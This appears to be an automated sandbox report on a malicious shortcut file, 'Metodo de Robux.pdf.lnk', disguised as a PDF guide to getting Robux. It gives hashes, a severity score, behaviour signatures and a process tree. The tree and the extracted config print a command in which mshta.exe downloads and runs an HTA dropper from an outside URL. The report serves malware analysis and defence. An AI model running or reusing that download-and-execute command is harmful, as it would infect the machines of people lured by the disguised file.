Analysis

  • max time kernel
    298s
  • max time network
    161s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 03:26

General

  • Target
    Metodo de Robux.pdf.lnk
  • Size 1KB
  • Sample260731-dzjrssca39
  • SHA256 20056c07a2dfd0e88d934f8a70e91c8202131ad3fd2353bcc8259d9669905c38
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://larpers.su/api/s/16abe9a3d4584e80bfc729a515478684/pdf?n=Comprovante%20de%20Pagamento&tmpl=comprovante

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Metodo de Robux.pdf.lnk"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" https://larpers.su/api/s/16abe9a3d4584e80bfc729a515478684/pdf?n=Comprovante%20de%20Pagamento&tmpl=comprovante
      2⤵
      • Badlisted process makes network request
      PID:2288

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Metodo de Robux.pdf.lnk

        • Path C:\Users\Admin\AppData\Local\Temp\Metodo de Robux.pdf.lnk
        • Size 2KB
        • SHA256 8f4a025dcd18943d50670f278f44bf3caa4766bf9445ec726b50fcaa53cf2e0e
        • MD5 SHA1 SHA512 TLSH